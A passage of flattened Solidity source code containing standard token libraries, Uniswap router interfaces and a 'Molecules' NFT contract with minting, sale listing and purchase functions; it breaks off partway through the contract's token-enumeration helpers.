}
function size(Map storage map) public view returns (uint256) {
return map.keys.length;
}
function set(
Map storage map,
address key,
uint256 val
) public {
if (map.inserted[key]) {
map.values[key] = val;
} else {
map.inserted[key] = true;
map.values[key] = val;
map.indexOf[key] = map.keys.length;
map.keys.push(key);
}
}
function remove(Map storage map, address key) public {
if (!map.inserted[key]) {
return;
}
delete map.inserted[key];
delete map.values[key];
uint256 index = map.indexOf[key];
uint256 lastIndex = map.keys.length - 1;
address lastKey = map.keys[lastIndex];
map.indexOf[lastKey] = index;
delete map.indexOf[key];
map.keys[index] = lastKey;
map.keys.pop();
}
}
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity ^0.8.0;
interface INodeManager {
struct NodeEntity {
string name;
uint256 creationTime;
uint256 lastClaimTime;
uint256 amount;
uint256 tier;
uint256 totalClaimed;
}
function getNodePrice(uint256 _tierIndex) external view returns (uint256);
function createNode(
address account,
string memory nodeName,
uint256 tier
) external;
function getNodeReward(address account, uint256 _creationTime)
external
view
returns (uint256);
function getAllNodesRewards(address account) external view returns (uint256);
function cashoutNodeReward(address account, uint256 _creationTime) external;
function cashoutAllNodesRewards(address account) external;
function getAllNodes(address account)
external
view
returns (NodeEntity[] memory);
function getNodeFee(
address account,
uint256 _creationTime,
uint256 _rewardAmount
) external returns (uint256);
function getAllNodesFee(address account, uint256 _rewardAmount)
external
returns (uint256);
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.8.0;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
pragma solidity ^0.8.0;
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
pragma solidity ^0.8.0;
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
mapping(IERC20 => uint256) private _erc20TotalReleased;
mapping(IERC20 => mapping(address => uint256)) private _erc20Released;
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
function totalShares() public view returns (uint256) {
return _totalShares;
}
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
function totalReleased(IERC20 token) public view returns (uint256) {
return _erc20TotalReleased[token];
}
function shares(address account) public view returns (uint256) {
return _shares[account];
}
function released(address account) public view returns (uint256) {
return _released[account];
}
function released(IERC20 token, address account) public view returns (uint256) {
return _erc20Released[token][account];
}
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + totalReleased();
uint256 payment = _pendingPayment(account, totalReceived, released(account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] += payment;
_totalReleased += payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
function release(IERC20 token, address account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token);
uint256 payment = _pendingPayment(account, totalReceived, released(token, account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_erc20Released[token][account] += payment;
_erc20TotalReleased[token] += payment;
SafeERC20.safeTransfer(token, account, payment);
emit ERC20PaymentReleased(token, account, payment);
}
function _pendingPayment(
address account,
uint256 totalReceived,
uint256 alreadyReleased
) private view returns (uint256) {
return (totalReceived * _shares[account]) / _totalShares - alreadyReleased;
}
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
pragma solidity ^0.8.0;
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity ^0.8.4;
library Counters {
using SafeMath for uint256;
struct Counter {
uint256 _value;
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
pragma solidity >=0.8.0;
contract Molecules is ERC721, Ownable {
using SafeMath for uint256;
using IterableMapping for IterableMapping.Map;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
address private _owner;
address private _royaltiesAddr;
uint256 public royaltyPercentage;
mapping(address => bool) public excludedList;
uint256 public mintFeeAmount;
string public baseURL;
uint256 public unbondingTime = 604800;
uint256 public constant maxSupply = 1000;
bool public openForPublic;
struct Molecule {
uint256 tokenId;
address mintedBy;
address currentOwner;
uint256 previousPrice;
uint256 price;
uint256 numberOfTransfers;
bool forSale;
bool bonded;
uint256 kind;
uint256 level;
uint256 lastUpgradeTime;
uint256 bondedTime;
}
mapping(uint256 => Molecule) public allMolecules;
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
mapping(uint256 => uint256) private _ownedTokensIndex;
uint256[] private _allTokens;
mapping(uint256 => uint256) private _allTokensIndex;
event SaleToggle(uint256 moleculeNumber, bool isForSale, uint256 price);
event PurchaseEvent(uint256 moleculeNumber, address from, address to, uint256 price);
event moleculeBonded(uint256 moleculeNumber, address owner, uint256 NodeCreationTime);
event moleculeUnbonded(uint256 moleculeNumber, address owner, uint256 NodeCreationTime);
event moleculeGrown(uint256 moleculeNumber, uint256 newLevel);
constructor(
address _contractOwner,
address _royaltyReceiver,
uint256 _royaltyPercentage,
uint256 _mintFeeAmount,
string memory _baseURL,
bool _openForPublic
) ERC721("Molecules","M") Ownable() {
royaltyPercentage = _royaltyPercentage;
_owner = _contractOwner;
_royaltiesAddr = _royaltyReceiver;
mintFeeAmount = _mintFeeAmount.mul(1e18);
excludedList[_contractOwner] = true;
excludedList[_royaltyReceiver] = true;
baseURL = _baseURL;
openForPublic = _openForPublic;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721) returns (bool) {
return super.supportsInterface(interfaceId);
}
function mint(uint256 numberOfToken) public payable {
require(openForPublic == true, "not open");
require(msg.sender != address(0));
require(
_allTokens.length + numberOfToken <= maxSupply,
"max supply"
);
require(numberOfToken > 0, "Min 1");
require(numberOfToken <= 3, "Max 3");
uint256 price = 0;
if (excludedList[msg.sender] == false) {
price = mintFeeAmount * numberOfToken;
require(msg.value >= price, "Not enough fee");
payable(_royaltiesAddr).transfer(msg.value);
} else {
payable(msg.sender).transfer(msg.value);
}
uint256 newPrice = mintFeeAmount;
for (uint256 i = 1; i <= numberOfToken; i++) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_safeMint(msg.sender, newItemId);
Molecule memory newMolecule = Molecule(
newItemId,
msg.sender,
msg.sender,
mintFeeAmount,
0,
0,
false,
false,
0,
1,
0,
0
);
allMolecules[newItemId] = newMolecule;
if (newItemId%200 == 0){
uint256 addPrice = 5;
newPrice += addPrice.mul(1e17);
}
}
mintFeeAmount = newPrice;
}
function changeUrl(string memory url) external onlyOwner {
baseURL = url;
}
function setMoleculeKind(uint256[] memory _tokens, uint256[] memory _kinds) external onlyOwner{
require(_tokens.length > 0, "lists can't be empty");
require(_tokens.length == _kinds.length, "both lists should have same length");
for (uint256 i = 0; i < _tokens.length; i++) {
require(_exists(_tokens[i]), "token not found");
Molecule memory mol = allMolecules[_tokens[i]];
mol.kind = _kinds[i];
allMolecules[_tokens[i]] = mol;
}
}
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
function setPriceForSale(
uint256 _tokenId,
uint256 _newPrice,
bool isForSale
) external {
require(_exists(_tokenId), "token not found");
address tokenOwner = ownerOf(_tokenId);
require(tokenOwner == msg.sender, "not owner");
Molecule memory mol = allMolecules[_tokenId];
require(mol.bonded == false);
mol.price = _newPrice;
mol.forSale = isForSale;
allMolecules[_tokenId] = mol;
emit SaleToggle(_tokenId, isForSale, _newPrice);
}
function getAllSaleTokens() public view returns (uint256[] memory) {
uint256 _totalSupply = totalSupply();
uint256[] memory _tokenForSales = new uint256[](_totalSupply);
uint256 counter = 0;
for (uint256 i = 1; i <= _totalSupply; i++) {
if (allMolecules[i].forSale == true) {
_tokenForSales[counter] = allMolecules[i].tokenId;
counter++;
}
}
return _tokenForSales;
}
function buyToken(uint256 _tokenId) public payable {
require(_exists(_tokenId));
address tokenOwner = ownerOf(_tokenId);
require(tokenOwner != address(0));
require(tokenOwner != msg.sender);
Molecule memory mol = allMolecules[_tokenId];
require(msg.value >= mol.price);
require(mol.forSale);
uint256 amount = msg.value;
uint256 _royaltiesAmount = amount.mul(royaltyPercentage).div(100);
uint256 payOwnerAmount = amount.sub(_royaltiesAmount);
payable(_royaltiesAddr).transfer(_royaltiesAmount);
payable(mol.currentOwner).transfer(payOwnerAmount);
require(mol.bonded == false, "Molecule is Bonded");
mol.previousPrice = mol.price;
mol.bonded = false;
mol.numberOfTransfers += 1;
mol.price = 0;
mol.forSale = false;
allMolecules[_tokenId] = mol;
_transfer(tokenOwner, msg.sender, _tokenId);
emit PurchaseEvent(_tokenId, mol.currentOwner, msg.sender, mol.price);
}
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
returns (uint256)
{
require(index < balanceOf(owner), "out of bounds");
return _ownedTokens[owner][index];
}
function _baseURI()
internal
view
virtual
override(ERC721)
returns (string memory)
{
return baseURL;
}
function _burn(uint256 tokenId) internal override(ERC721) {
super._burn(tokenId);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
return super.tokenURI(tokenId);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721) {
super._beforeTokenTransfer(from, to, tokenId);
Molecule memory mol = allMolecules[tokenId];
require(mol.bonded == false,"Molecule is bonded!");
mol.currentOwner = to;
mol.numberOfTransfers += 1;
mol.forSale = false;
allMolecules[tokenId] = mol;
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId)
private
{
uint256 lastTokenIndex = balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId;
_ownedTokensIndex[lastTokenId] = tokenIndex;
}
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
